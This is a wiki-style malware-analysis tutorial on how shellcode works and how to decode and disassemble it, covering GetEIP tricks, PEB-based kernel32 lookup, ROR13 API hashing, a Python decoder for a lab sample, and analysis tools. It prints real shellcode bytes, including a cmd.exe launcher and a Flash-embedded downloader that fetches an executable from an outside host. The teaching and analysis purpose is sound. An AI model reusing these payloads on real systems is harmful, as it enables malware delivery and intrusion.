Category:Exploits/Shellcode
You are here: | Shellcode
|
Description
- A shellcode is a sequence of bytes that represents a serie of assembly instructions.
- Most of the time, shellcode is used in exploits (e.g. exploitation of a vulnerability to spawn a shell)
Online resources
How does a shellcode work?
Multi-staged attack
- A shellcode executes in a buffer space, usually limited in size. For that reason, shellcodes are usually multi-staged, which means that the shellcode embedded in the exploit downloads and executes a binary that will then complete the attack (2nd stage).
- The shellcode is very dependant from the environment it is executed into. For example, it needs to know the local memory addresses so that it can access data and call APIs to make system calls
- If the second stage is already in memory, the shell code will look for the second phase shellcode. This operation is called Egg Hunting.
GetEIP
Description
- Shellcode needs to locate itself.
- EIP stores the address of the instruction that will be excuted next but can not be accessed directly. Shellcode relies on indirect approaches to determine EIP.
CALL / POP
0040101F: E8 00000000 CALL 00401024
00401024: 58 POP EAX
- There is a CALL to the address immediately after the CALL instruction.
- CALL will save the value of EIP (401024) to the stack.
- The POP EAX instruction will gather this value and store it in the EAX register
JMP / CALL
00401027: EB 03 JMP SHORT 0040102C
00401029: 5E POP ESI
0040102A: EB 05 JMP SHORT 00401031
0040102C: E8 F8FFFFFF CALL 00401029
00401031: 83C6 09 ADD ESI, 9
fnstenv
Thank you for your comprehension.
Locating kernel32.dll
To be able to make system calls, the malware needs to locate kernel32.dll because it has 2 interesting functions:
- LoadLibraryA: allows to load unloaded libraries
- GetProcAddress: retrieves the address of an exported function
The location of kernel32.dll is available in the Process Environment Block (PEB), which pointer is available at FS:[0x30]. Here is a method to access it:
seg000:0000029E findKernel32 proc near
seg000:0000029E 56 push esi
seg000:0000029F 31 C0 xor eax, eax
seg000:000002A1 64 8B 40 30 mov eax, fs:[eax+30h] ; Pointer to PEB (offset 0x30 in TEB)
seg000:000002A5 85 C0 test eax, eax ; If high bit are set, we're dealing with Win9x
seg000:000002A7 78 0F js short loc_2B8 ; If Win9x, jump to 0x000002B8 location
seg000:000002A9 8B 40 0C mov eax, [eax+0Ch] ; PEB_LDR_DATA (offset 0xc in PEB)
seg000:000002AC 8B 70 1C mov esi, [eax+1Ch] ; Get pointer to 1st LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Flink
seg000:000002AF AD lodsd ; Get pointer to 2nd LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Flink
seg000:000002B0 8B 40 08 mov eax, [eax+8] ; Get LDR_DATA_TABLE_ENTRY.DllBase
seg000:000002B3 E9 05 00 00 00 jmp loc_2BD
seg000:000002B8 ; ---------------------------------------------------------------------------
seg000:000002B8
seg000:000002B8 loc_2B8: ; Location for Win9x
seg000:000002B8 E9 FB FF FF FF jmp loc_2B8 ; Infinite loop
seg000:000002BD ; ---------------------------------------------------------------------------
seg000:000002BD
seg000:000002BD loc_2BD:
seg000:000002BD 5E pop esi
seg000:000002BE C3 retn
seg000:000002BE findKernel32 endp
Find exported symbols
Once the base address of kernel32.dll has been found, the shellcode still needs to find exported symbols. Two approaches are possible, as depicted below.
Parse PE export data
Using hashed exported names
Instead of using full string searches, shellcode authors usually use pre-computed hashes of functions. Not only it reduces the size of the code, but it also makes the shellcode less prone to antivirus/NIDS detection.
A well known function embedded in shellcode is the one included in Metasploit. It uses a simple ROR13 to compute the hashes. Below is an implementation of this function:
seg000:00000231 hashString proc near
seg000:00000231
seg000:00000231 arg_0 = dword ptr 4
seg000:00000231
seg000:00000231 56 push esi
seg000:00000232 57 push edi
seg000:00000233 8B 74 24 0C mov esi, [esp+8+arg_0]
seg000:00000237 31 FF xor edi, edi
seg000:00000239 FC cld
seg000:0000023A
seg000:0000023A loc_23A:
seg000:0000023A 31 C0 xor eax, eax
seg000:0000023C AC lodsb
seg000:0000023D 38 E0 cmp al, ah
seg000:0000023F 74 0A jz short loc_24B
seg000:00000241 C1 CF 0D ror edi, 0Dh
seg000:00000244 01 C7 add edi, eax
seg000:00000246 E9 EF FF FF FF jmp loc_23A
seg000:0000024B ; ---------------------------------------------------------------------------
seg000:0000024B
seg000:0000024B loc_24B:
seg000:0000024B 89 F8 mov eax, edi
seg000:0000024D 5F pop edi
seg000:0000024E 5E pop esi
seg000:0000024F C2 04 00 retn 4
seg000:0000024F hashString endp
Here is how this is then used in the code:
seg000:000002BF sub_2BF proc near
seg000:000002BF 5B pop ebx
seg000:000002C0 E8 D9 FF FF FF call findKernel32Base
seg000:000002C5 89 C2 mov edx, eax
seg000:000002C7 68 8E 4E 0E EC push 0EC0E4E8Eh ; kernel32.dll!LoadLibraryA
seg000:000002CC 52 push edx
seg000:000002CD E8 80 FF FF FF call findSymbolByHash
seg000:000002D2 89 45 FC mov [ebp-4], eax
seg000:000002D5 68 C1 79 E5 B8 push 0B8E579C1h ; kernel32.dll!GetSystemDirectoryA
seg000:000002DA 52 push edx
seg000:000002DB E8 72 FF FF FF call findSymbolByHash
seg000:000002E0 89 45 F8 mov [ebp-8], eax
seg000:000002E3 68 83 B9 B5 78 push 78B5B983h ; kernel32.dll!TerminateProcess
seg000:000002E8 52 push edx
seg000:000002E9 E8 64 FF FF FF call findSymbolByHash
[SNIP]
There is a very useful plugin from FireEye that you can use in IDA-Pro: Shellcode Hashes.
Shellcode encoding
Identify shellcode sections
Legend
NOP sled |
Decoder |
Encoded payload |
Bin | Assembly |
---|---|
$ hd Lab19-01.bin 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| * 00000200 33 c9 66 b9 8d 01 eb 17 5e 56 8b fe ac 8a d0 80 |3.f.....^V......| 00000210 ea 41 c0 e2 04 ac 2c 41 02 c2 aa 49 75 ee c3 e8 |.A....,A...Iu...| 00000220 e4 ff ff ff 49 4a 4f 46 49 42 4f 4d 45 41 41 41 |....IJOFIBOMEAAA| 00000230 41 41 41 41 4f 4a 44 44 41 42 41 41 41 41 46 47 |AAAAOJDDABAAAAFG| 00000240 46 48 49 4c 48 45 43 45 41 4d 44 42 50 50 50 4d |FHILHECEAMDBPPPM| 00000250 44 42 4d 41 4b 4d 44 49 4f 41 48 45 41 4b 4d 42 |DBMAKMDIOAHEAKMB| 00000260 4d 50 41 4e 41 42 4d 48 4f 4a 4f 50 50 50 50 50 |MPANABMHOJOPPPPP| 00000270 50 50 49 4a 50 49 46 50 46 4f 4d 43 41 45 41 41 |PPIJPIFPFOMCAEAA| 00000280 47 41 49 4c 47 4d 43 45 43 45 49 4c 45 46 44 4d |GAILGMCECEILEFDM| 00000290 49 4c 46 45 41 46 48 49 41 42 4f 4b 49 4c 45 4b |ILFEAFHIABOKILEK| 000002a0 42 49 49 4c 46 4b 43 41 41 42 4f 4c 4f 44 43 4b |BIILFKCAABOLODCK| 000002b0 45 4a 49 4c 44 45 49 4c 41 42 4f 4f 46 47 4f 49 |EJILDEILABOOFGOI| 000002c0 4c 4c 50 50 50 50 50 50 44 4c 45 45 43 45 43 49 |LLPPPPPPDLEECECI| 000002d0 48 46 4f 4d 49 4c 46 4b 43 45 41 42 4f 4c 47 47 |HFOMILFKCEABOLGG| 000002e0 49 4c 41 4d 45 4c 49 4c 46 4b 42 4d 41 42 4f 4c |ILAMELILFKBMABOL| 000002f0 49 4c 41 45 49 4c 41 42 4f 49 4f 4a 41 43 41 41 |ILAEILABOIOJACAA| 00000300 41 41 41 41 44 42 4d 41 49 4a 45 45 43 45 42 4d |AAAADBMAIJEECEBM| 00000310 47 42 4d 43 41 49 41 41 46 47 44 42 4d 41 47 45 |GBMCAIAAFGDBMAGE| 00000320 49 4c 45 41 44 41 49 46 4d 41 48 49 41 50 49 4c |ILEADAIFMAHIAPIL| 00000330 45 41 41 4d 49 4c 48 41 42 4d 4b 4e 49 4c 45 41 |EAAMILHABMKNILEA| 00000340 41 49 4f 4a 41 46 41 41 41 41 41 41 4f 4a 50 4c |AIOJAFAAAAAAOJPL| 00000350 50 50 50 50 50 50 46 4f 4d 44 46 4c 4f 49 4e 4a |PPPPPPFOMDFLOINJ| 00000360 50 50 50 50 50 50 49 4a 4d 43 47 49 49 4f 45 4f |PPPPPPIJMCGIIOEO| 00000370 41 4f 4f 4d 46 43 4f 49 49 41 50 50 50 50 50 50 |AOOMFCOIIAPPPPPP| 00000380 49 4a 45 46 50 4d 47 49 4d 42 48 4a 4f 46 4c 49 |IJEFPMGIMBHJOFLI| 00000390 46 43 4f 49 48 43 50 50 50 50 50 50 49 4a 45 46 |FCOIHCPPPPPPIJEF| 000003a0 50 49 47 49 49 44 4c 4a 4c 46 48 49 46 43 4f 49 |PIGIIDLJLFHIFCOI| 000003b0 47 45 50 50 50 50 50 50 49 4a 45 46 50 45 47 49 |GEPPPPPPIJEFPEGI| 000003c0 4f 47 42 48 49 50 48 4c 46 43 4f 49 46 47 50 50 |OGBHIPHLFCOIFGPP| 000003d0 50 50 50 50 49 4a 45 46 50 41 47 49 4a 49 50 4f |PPPPIJEFPAGIJIPO| 000003e0 49 4b 41 4f 46 43 4f 49 45 49 50 50 50 50 50 50 |IKAOFCOIEIPPPPPP| 000003f0 49 4a 45 46 4f 4d 49 4e 41 44 46 41 50 50 46 46 |IJEFOMINADFAPPFF| 00000400 50 4d 47 49 44 47 42 4b 43 50 48 41 46 41 4f 49 |PMGIDGBKCPHAFAOI| 00000410 44 45 50 50 50 50 50 50 49 4a 45 46 4f 49 47 49 |DEPPPPPPIJEFOIGI| 00000420 49 41 41 41 41 41 41 41 49 4e 48 4c 45 49 46 48 |IAAAAAAAINHLEIFH| 00000430 50 50 46 46 50 49 41 42 4d 48 4d 48 41 48 46 4d |PPFFPIABMHMHAHFM| 00000440 44 42 43 4f 47 46 4d 48 45 48 41 45 48 49 47 46 |DBCOGFMHEHAEHIGF| 00000450 41 41 41 41 44 42 4d 4a 46 42 46 42 49 4e 45 44 |AAAADBMJFBFBINED| 00000460 45 49 46 41 49 4e 45 44 41 48 46 41 46 42 50 50 |EIFAINEDAHFAFBPP| 00000470 46 46 4f 49 47 49 41 46 41 41 41 41 41 41 49 4e |FFOIGIAFAAAAAAIN| 00000480 45 44 45 49 46 41 50 50 46 46 4f 4d 50 50 46 46 |EDEIFAPPFFOMPPFF| 00000490 50 41 47 49 41 41 41 41 41 41 41 41 46 41 50 50 |PAGIAAAAAAAAFAPP| 000004a0 46 46 50 45 4f 49 46 47 50 50 50 50 50 50 46 46 |FFPEOIFGPPPPPPFF| 000004b0 46 43 45 4d 45 4e 45 50 45 4f 41 41 47 49 48 45 |FCEMENEPEOAAGIHE| 000004c0 48 45 48 41 44 4b 43 50 43 50 48 48 48 48 48 48 |HEHADKCPCPHHHHHH| 000004d0 43 4f 48 41 48 43 47 42 47 44 48 45 47 4a 47 44 |COHAHCGBGDHEGJGD| 000004e0 47 42 47 4d 47 4e 47 42 47 4d 48 48 47 42 48 43 |GBGMGNGBGMHHGBHC| 000004f0 47 46 47 42 47 4f 47 42 47 4d 48 4a 48 44 47 4a |GFGBGOGBGMHJHDGJ| 00000500 48 44 43 4f 47 44 47 50 47 4e 43 50 48 44 47 49 |HDCOGDGPGNCPHDGI| 00000510 47 46 47 4d 47 4d 47 44 47 50 47 45 47 46 43 50 |GFGMGMGDGPGEGFCP| 00000520 47 42 47 4f 47 4f 47 50 48 4a 46 50 48 46 48 44 |GBGOGOGPHJFPHFHD| 00000530 47 46 48 43 43 4f 47 46 48 49 47 46 41 41 |GFHCCOGFHIGFAA| |
>>> from distorm3 import Decode, Decode32Bits >>> l = Decode(0x0, open("Lab19-01.bin", "rb").read(), Decode32Bits) >>> for i in l: ... print "0x%08x (%02x) %-20s %s" % (i[0], i[1], i[3], i[2]) ... 0x00000000 (01) 41 INC ECX 0x00000001 (01) 41 INC ECX 0x00000002 (01) 41 INC ECX 0x00000003 (01) 41 INC ECX 0x00000004 (01) 41 INC ECX [...SNIP...] 0x000001fe (01) 41 INC ECX 0x000001ff (01) 41 INC ECX 0x00000200 (02) 33c9 XOR ECX, ECX 0x00000202 (04) 66b98d01 MOV CX, 0x18d 0x00000206 (02) eb17 JMP 0x21f 0x00000208 (01) 5e POP ESI 0x00000209 (01) 56 PUSH ESI 0x0000020a (02) 8bfe MOV EDI, ESI 0x0000020c (01) ac LODSB 0x0000020d (02) 8ad0 MOV DL, AL 0x0000020f (03) 80ea41 SUB DL, 0x41 0x00000212 (03) c0e204 SHL DL, 0x4 0x00000215 (01) ac LODSB 0x00000216 (02) 2c41 SUB AL, 0x41 0x00000218 (02) 02c2 ADD AL, DL 0x0000021a (01) aa STOSB 0x0000021b (01) 49 DEC ECX 0x0000021c (02) 75ee JNZ 0x20c 0x0000021e (01) c3 RET 0x0000021f (05) e8e4ffffff CALL 0x208 0x00000224 (01) 49 DEC ECX 0x00000225 (01) 4a DEC EDX 0x00000226 (01) 4f DEC EDI 0x00000227 (01) 46 INC ESI 0x00000228 (01) 49 DEC ECX 0x00000229 (01) 42 INC EDX 0x0000022a (01) 4f DEC EDI 0x0000022b (01) 4d DEC EBP 0x0000022c (01) 45 INC EBP 0x0000022d (01) 41 INC ECX 0x0000022e (01) 41 INC ECX 0x0000022f (01) 41 INC ECX 0x00000230 (01) 41 INC ECX 0x00000231 (01) 41 INC ECX [...SNIP...] 0x00000538 (01) 48 DEC EAX 0x00000539 (01) 49 DEC ECX 0x0000053a (01) 47 INC EDI 0x0000053b (01) 46 INC ESI 0x0000053c (01) 41 INC ECX 0x0000053d (01) 41 INC ECX Note
Notice that the instructions in blue have been wrongly interpreted since these bytes correspond to the encrypted stub and need to be patched by the decrypting routine.
|
Decoding
There are several ways to decode the shellcode. Below are 2 approaches:
- Use a python script that will be executed in IDA-Pro to directly patch the bytes. Details available here.
- You can isolate the encrypted bytes and use a python script to decrypt the content in an output file (see below). Below is the script I wrote to decode the content:
#!/usr/bin/env python
def shl(dest, count):
return hex(dest << count)
def transform_pair(c1, c2):
# substracts 0x41 and shl(4) the 1st char
c1 = shl(int(hex(ord(c1)), 16) - 0x41, 4)
# substracts 0x41 from 2nd character
c2 = int(hex(ord(c2)), 16) - 0x41
# return sum of both transforms
return int(c1, 16) + c2
s = "IJOFIBOMEAAAAAAAOJDDABAAAAFGFHILHECEAMDBPPPMDBMAKMDIOAHEAKMBMPANABMHOJOPPPPPP"
s+= "PIJPIFPFOMCAEAAGAILGMCECEILEFDMILFEAFHIABOKILEKBIILFKCAABOLODCKEJILDEILABOOFG"
s+= "OILLPPPPPPDLEECECIHFOMILFKCEABOLGGILAMELILFKBMABOLILAEILABOIOJACAAAAAADBMAIJE"
s+= "ECEBMGBMCAIAAFGDBMAGEILEADAIFMAHIAPILEAAMILHABMKNILEAAIOJAFAAAAAAOJPLPPPPPPFO"
s+= "MDFLOINJPPPPPPIJMCGIIOEOAOOMFCOIIAPPPPPPIJEFPMGIMBHJOFLIFCOIHCPPPPPPIJEFPIGII"
s+= "DLJLFHIFCOIGEPPPPPPIJEFPEGIOGBHIPHLFCOIFGPPPPPPIJEFPAGIJIPOIKAOFCOIEIPPPPPPIJ"
s+= "EFOMINADFAPPFFPMGIDGBKCPHAFAOIDEPPPPPPIJEFOIGIIAAAAAAAINHLEIFHPPFFPIABMHMHAHF"
s+= "MDBCOGFMHEHAEHIGFAAAADBMJFBFBINEDEIFAINEDAHFAFBPPFFOIGIAFAAAAAAINEDEIFAPPFFOM"
s+= "PPFFPAGIAAAAAAAAFAPPFFPEOIFGPPPPPPFFFCEMENEPEOAAGIHEHEHADKCPCPHHHHHHCOHAHCGBG"
s+= "DHEGJGDGBGMGNGBGMHHGBHCGFGBGOGBGMHJHDGJHDCOGDGPGNCPHDGIGFGMGMGDGPGEGFCPGBGOGO"
s+= "GPHJFPHFHDGFHCCOGFHIGFAA"
my_byte_array = []
for i in range(len(s)/2):
my_byte_array.append(transform_pair(s[i*2], s[i*2+1]))
with open('decoded_shellcode', 'wb') as output:
output.write(bytearray(i for i in my_byte_array))
You can then load the output file into IDA-Pro.
Compile shellcode
With gcc
As shellcodes are a sequence of bytes (assembly opcodes), we can use a C skelton to compile the code and then analyze it. Imagine that we have the following shellcode:
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x20\x68 \x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8\x44\x80 \xbf\x77\xff\xd0
Let's use the following skelton:
unsigned char shellcode[] = shellcode; int main() { }
So that our program becomes:
$ cat shellcode.c unsigned char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x20\x68" "\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8\x44\x80" "\xbf\x77\xff\xd0"; int main() { }
Now, let's compile our code:
$ gcc -g -o shellcode shellcode.c
We now have a compiled code (executable):
$ file shellcode shellcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0xd0701b4ba3378c486adbecf2bf0364a2da4f4183, not stripped
With shellcode2exe
shellcode2exe can also compile the shellcode to a Windows executable:
$ cat > sc2.txt \x909\x090\x909\x090\x909\x0EB\x905\xE1a\x5B5\x606\ [SNIP] \xe47\x6c6\xD6f\x4F4\xf6F\x6f4\x346\x4A7\x36C\x555 $ shellcode2exe -s sc2.txt Shellcode to executable converter by Mario Vilas (mvilas at gmail dot com) Reading string shellcode from file sc2.txt Generating executable file Writing file sc2.exe Done.
Analyze shellcode
With gdb
$ gdb shellcode [SNIP] (gdb) set disassembly-flavor intel (gdb) disassemble shellcode Dump of assembler code for function shellcode: 0x08049640 <+0>: nop 0x08049641 <+1>: nop 0x08049642 <+2>: nop 0x08049643 <+3>: nop 0x08049644 <+4>: nop 0x08049645 <+5>: nop 0x08049646 <+6>: nop 0x08049647 <+7>: nop 0x08049648 <+8>: nop 0x08049649 <+9>: nop 0x0804964a <+10>: nop 0x0804964b <+11>: mov ebp,esp 0x0804964d <+13>: push ebp 0x0804964e <+14>: mov ebp,esp 0x08049650 <+16>: push 0x20657865 0x08049655 <+21>: push 0x2e646d63 0x0804965a <+26>: lea eax,[ebp-0x8] 0x0804965d <+29>: push eax 0x0804965e <+30>: mov eax,0x77bf8044 0x08049663 <+35>: call eax 0x08049665 <+37>: add BYTE PTR [eax],al End of assembler dump. (gdb) quit
The hex values 0x20657865 and 0x2e646d63 correspond to the string "cmd.exe" in ascii:
$ python >>> "206578652e646d63".decode("hex")[::-1] 'cmd.exe '
With objdump
The objdump command can also disassemble our code:
$ objdump -Mintel -D shellcode [SNIP] 08049640 <shellcode>: 8049640: 90 nop 8049641: 90 nop 8049642: 90 nop 8049643: 90 nop 8049644: 90 nop 8049645: 90 nop 8049646: 90 nop 8049647: 90 nop 8049648: 90 nop 8049649: 90 nop 804964a: 90 nop 804964b: 8b ec mov ebp,esp 804964d: 55 push ebp 804964e: 8b ec mov ebp,esp 8049650: 68 65 78 65 20 push 0x20657865 8049655: 68 63 6d 64 2e push 0x2e646d63 804965a: 8d 45 f8 lea eax,[ebp-0x8] 804965d: 50 push eax 804965e: b8 44 80 bf 77 mov eax,0x77bf8044 8049663: ff d0 call eax 8049665: 00 00 add BYTE PTR [eax],al ...
With rasm2
$ sed "s/\\\x//g" shellcode | rasm2 -a x86 -d - nop nop nop nop nop nop nop nop nop nop nop mov ebp, esp push ebp mov ebp, esp push dword 0x20657865 push dword 0x2e646d63 lea eax, [ebp-0x8] push eax mov eax, 0x77bf8044 call eax
shellcode_launcher.exe
shellcode_launcher.exe is a small program shipped with the Practical Malware Analysis book. It can be used to run shellcode and analyze it in a debugger. The following command launches shellcode.bin and creates a breakpoint:
shellcode_launcher.exe -i shellcode.bin -bp -L user32
Options:
- -i
- input shellcode
- -bp
- inserts a breakpoint when loaded into a debugger
- -L user32
- will ensure LoadLibraryA is loaded
You can intercept it in OllyDbg by choosing Options > Just-in-time debugging > Make OllyDbg just-in-time debugger:
Shellcode in SWF
Here is an example of a shellcode embedded in a Flash file:
$ file flash1.swf flash1.swf: Macromedia Flash data, version 9
We can see that urlmon.dll is imported and a file is downloaded:
$ hd flash1.swf 00000000 46 57 53 09 5a 03 00 00 78 00 05 5f 00 00 0f a0 |FWS.Z...x.._....| 00000010 00 00 0c 03 03 44 11 08 00 00 00 bf 01 50 01 00 |.....D.......P..| 00000020 00 aa 02 34 d1 f5 25 13 90 00 90 90 90 90 90 20 |...4..%........ | 00000030 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 90 90 |................| 00000040 60 50 33 c9 64 03 49 30 8b 49 0c 8b 71 1c ad 8b |`P3.d.I0.I..q...| 00000050 40 08 eb 4b 8b 75 3c 8b 74 2e 78 03 f5 56 8b 76 |@..K.u<.t.x..V.v| 00000060 20 03 f5 33 c9 49 33 db ad 41 0f be 54 05 00 38 | ..3.I3..A..T..8| 00000070 f2 74 08 c1 cb 0c 03 da 40 eb ef 3b df 75 e7 5e |.t......@..;.u.^| 00000080 8b 5e 24 03 dd 66 8b 0c 4b 8b 5e 1c 03 dd 8b 04 |.^$..f..K.^.....| 00000090 8b 03 c5 c3 75 72 6c 6d 6f 6e 2e 64 6c 6c 00 95 |....urlmon.dll..| 000000a0 bf d0 a7 17 47 e8 aa ff ff ff 83 ec 04 83 2c 24 |....G.........,$| 000000b0 16 ff d0 95 50 bf e2 e6 58 1b e8 95 ff ff ff 8b |....P...X.......| 000000c0 54 24 fc 8d 52 0e 33 db 53 53 52 eb 3b 43 3a 5c |T$..R.3.SSR.;C:\| 000000d0 36 31 32 33 74 2e 65 78 65 00 53 ff d0 5d bf f7 |6123t.exe.S..]..| 000000e0 7e be ad e8 6c ff ff ff 83 ec 04 83 2c 24 1b ff |~...l.......,$..| 000000f0 d0 bf 02 f2 26 8f e8 59 ff ff ff 61 68 55 d6 1a |....&..Y...ahU..| 00000100 30 83 c4 08 ff 64 24 f8 e8 cd ff ff ff 68 74 74 |0....d$......htt| 00000110 70 3a 2f 2f 77 77 77 2e 6a 6a 31 32 30 2e 63 6f |p://www.jj120.co| 00000120 6d 2f 69 6e 63 2f 66 75 63 6b 6a 70 2e 65 78 65 |m/inc/fuckjp.exe| 00000130 00 00 40 08 eb 4b 8b 75 3c 8b 74 2e 78 03 f5 56 |[email protected]<.t.x..V| 00000140 8b 76 20 03 f5 33 c9 49 33 db ad 41 0f be 54 05 |.v ..3.I3..A..T.| 00000150 00 38 f2 74 08 c1 cb 0c 03 da 40 eb ef 3b df 75 |.8.t......@..;.u| 00000160 e7 5e 8b 5e 24 03 dd 66 8b 0c 4b 8b 5e 1c 03 dd |.^.^$..f..K.^...| 00000170 8b a8 15 99 b4 8e a0 08 20 20 20 20 20 20 20 20 |........ | 00000180 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | | 00000190 20 20 20 20 20 20 20 20 20 20 43 43 02 ff ff ff | CC....| 000001a0 bf 15 0c 00 00 00 01 00 e5 9c ba e6 99 af 20 31 |.............. 1| 000001b0 00 00 bf 14 7f 01 00 00 01 00 00 00 00 10 00 2e |................| 000001c0 00 00 00 00 10 07 6e 65 77 5f 66 6c 61 0c 4d 61 |......new_fla.Ma| 000001d0 69 6e 54 69 6d 65 6c 69 6e 65 0d 66 6c 61 73 68 |inTimeline.flash| 000001e0 2e 64 69 73 70 6c 61 79 09 4d 6f 76 69 65 43 6c |.display.MovieCl| 000001f0 69 70 14 6e 65 77 5f 66 6c 61 3a 4d 61 69 6e 54 |ip.new_fla:MainT| 00000200 69 6d 65 6c 69 6e 65 06 66 72 61 6d 65 31 00 0e |imeline.frame1..| 00000210 61 64 64 46 72 61 6d 65 53 63 72 69 70 74 06 4f |addFrameScript.O| 00000220 62 6a 65 63 74 0c 66 6c 61 73 68 2e 65 76 65 6e |bject.flash.even| 00000230 74 73 0f 45 76 65 6e 74 44 69 73 70 61 74 63 68 |ts.EventDispatch| 00000240 65 72 0d 44 69 73 70 6c 61 79 4f 62 6a 65 63 74 |er.DisplayObject| 00000250 11 49 6e 74 65 72 61 63 74 69 76 65 4f 62 6a 65 |.InteractiveObje| 00000260 63 74 16 44 69 73 70 6c 61 79 4f 62 6a 65 63 74 |ct.DisplayObject| 00000270 43 6f 6e 74 61 69 6e 65 72 06 53 70 72 69 74 65 |Container.Sprite| 00000280 07 16 01 16 03 18 05 17 01 16 07 16 0a 00 0b 07 |................| 00000290 01 02 07 02 04 07 04 06 07 05 08 07 05 09 07 06 |................| 000002a0 0b 07 02 0c 07 02 0d 07 02 0e 07 02 0f 04 00 00 |................| 000002b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 |................| 000002c0 01 02 08 03 00 02 01 03 01 00 01 00 00 01 03 01 |................| 000002d0 01 04 01 00 04 00 01 01 09 0a 03 d0 30 47 00 00 |............0G..| 000002e0 01 02 01 0a 0b 09 f8 62 8f ff ff 02 02 02 47 00 |.......b......G.| 000002f0 00 02 03 01 0a 0b 0f d0 30 d0 49 00 5d 04 24 00 |........0.I.].$.| 00000300 60 03 4f 04 02 47 00 00 03 02 01 01 09 27 f8 62 |`.O..G.......'.b| 00000310 79 f8 62 75 f8 e8 25 fd ff ff 00 f8 29 02 f8 63 |y.bu..%.....)..c| 00000320 79 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 |y...............| 00000330 02 02 02 02 47 00 00 3f 13 19 00 00 00 01 00 00 |....G..?........| 00000340 00 6e 65 77 5f 66 6c 61 2e 4d 61 69 6e 54 69 6d |.new_fla.MainTim| 00000350 65 6c 69 6e 65 00 40 00 00 00 |eline.@...| 0000035a
Here is a way to analyze the shellcode:
$ cat flash1.swf | hexdump -v -e '/1 "%02X"' | rasm2 -a x86 -d - disassemble error at offset 414 inc esi push edi push ebx or [edx+0x3], ebx add [eax], al js 0x804800a add eax, 0xf00005f mov al, [0x30c0000] add eax, [ecx+edx+0x8] add [eax], al add [edi+0x15001], bh add [edx+0xf5d13402], ch and eax, 0x90009013 nop nop nop nop and ah, cl int3 int3 int3 int3 int3 int3 int3 int3 int3 int3 int3 int3 int3 nop nop pushad push eax xor ecx, ecx add ecx, [fs:ecx+0x30] mov ecx, [ecx+0xc] mov esi, [ecx+0x1c] lodsd mov eax, [eax+0x8] jmp 0x804809f mov esi, [ebp+0x3c] mov esi, [esi+ebp+0x78] add esi, ebp push esi mov esi, [esi+0x20] add esi, ebp xor ecx, ecx dec ecx xor ebx, ebx lodsd inc ecx movsx edx, byte [ebp+eax+0x0] cmp dl, dh jz 0x804807b ror ebx, 0xc add ebx, edx inc eax jmp 0x804806a cmp ebx, edi jnz 0x8048066 pop esi mov ebx, [esi+0x24] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [esi+0x1c] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp ret jnz 0x8048108 insb insd outsd outsb insb insb add [ebp+0x17a7d0bf], dl inc edi call dword 0x8048054 sub esp, 0x4 sub dword [esp], 0x16 call eax xchg ebp, eax push eax mov edi, 0x1b58e6e2 call dword 0x8048054 mov edx, [esp-0x4] lea edx, [edx+0xe] xor ebx, ebx push ebx push ebx push edx jmp 0x8048108 inc ebx cmp bl, [esi+esi+0x31] xor dh, [ebx] jz 0x8048104 js 0x804813e add [ebx-0x1], dl rcr byte [ebp-0x41], 1 idiv dword [esi-0x42] lodsd call dword 0x8048054 sub esp, 0x4 sub dword [esp], 0x1b call eax mov edi, 0x8f26f202 call dword 0x8048054 popad push dword 0x301ad655 add esp, 0x8 jmp dword [esp-0x8] call dword 0x80480da push dword 0x3a707474 das das ja 0x804818d ja 0x8048146 push 0x6a xor [edx], esi xor [esi], ch arpl [edi+0x6d], bp das imul ebp, [esi+0x63], 0x6375662f imul ebp, [edx+0x70], 0x2e js 0x8048195 add [eax], al inc eax or bl, ch dec ebx mov esi, [ebp+0x3c] mov esi, [esi+ebp+0x78] add esi, ebp push esi mov esi, [esi+0x20] add esi, ebp xor ecx, ecx dec ecx xor ebx, ebx lodsd inc ecx movsx edx, byte [ebp+eax+0x0] cmp dl, dh jz 0x804815d ror ebx, 0xc add ebx, edx inc eax jmp 0x804814c cmp ebx, edi jnz 0x8048148 pop esi mov ebx, [esi+0x24] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [esi+0x1c] add ebx, ebp mov ebp, [eax+0x8eb49915] mov al, [0x20202008] and [eax], ah and [eax], ah and [eax], ah and [eax], ah and [eax], ah and [eax], ah and [eax], ah and [eax], ah and [eax], ah and [eax], ah and [eax], ah and [eax], ah and [eax], ah and [eax], ah and [eax], ah and [ebx+0x43], al add bh, bh invalid
Conversions
Unicode to hexadecimal
You can add the following function to your ~/.bash_aliases file (script taken from REMnux)
function unicode2hex-escaped { perl -pe 's/[\"\s\+]//g; s/[%\\]u([a-fA-F0-9]{2})([a-fA-F0-9]{2})/\\x$2\\x$1/g;' ${*}; }
Here is a usage example:
